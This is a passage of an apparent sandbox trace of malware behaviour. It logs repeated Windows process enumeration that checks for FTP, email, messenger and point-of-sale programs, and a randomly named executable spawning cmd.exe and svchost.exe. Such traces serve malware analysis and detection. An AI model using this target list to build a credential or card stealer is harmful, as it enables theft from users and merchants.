lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="checklist.exe")) returned 1 [0051.516] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="lifestylecalendar.exe")) returned 1 [0051.516] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="sleepsmorris.exe")) returned 1 [0051.517] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x544, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0051.517] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0051.518] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0051.519] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0051.519] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0051.520] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x754, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0051.521] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0051.521] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0051.522] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0051.522] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x31c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0051.523] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0051.524] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0051.524] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0051.525] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0051.526] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0051.526] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0051.527] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0051.528] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0051.529] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0051.529] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0051.530] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0051.531] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0051.532] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0051.533] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0051.534] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0051.535] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0051.536] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0051.537] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0051.538] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0051.539] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0051.540] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0051.541] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x918, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0051.542] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0051.543] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0051.543] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0051.544] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0051.545] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0051.546] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0051.547] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x98c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0051.547] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0051.548] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0051.549] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0051.550] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0051.551] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0051.551] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="influenced.exe")) returned 1 [0051.552] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0051.553] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0051.553] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0051.554] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aUsMWsjhpLkBV4ai.exe")) returned 1 [0051.555] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0051.556] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb5c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0051.556] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0051.557] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa88, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.558] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa88, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0051.558] CloseHandle (hObject=0x24) returned 1 [0051.558] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x24 [0051.562] Process32FirstW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0051.563] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0051.564] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0051.564] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0051.565] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0051.565] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0051.566] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0051.567] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0051.567] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0051.568] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0051.568] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.569] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.570] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.570] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.571] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.591] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0051.592] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.592] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.593] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0051.593] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0051.594] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0051.595] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.595] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0051.596] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0051.596] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="communist-nick.exe")) returned 1 [0051.597] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="palepromotion.exe")) returned 1 [0051.598] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="incidents_requests_moreover.exe")) returned 1 [0051.598] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, 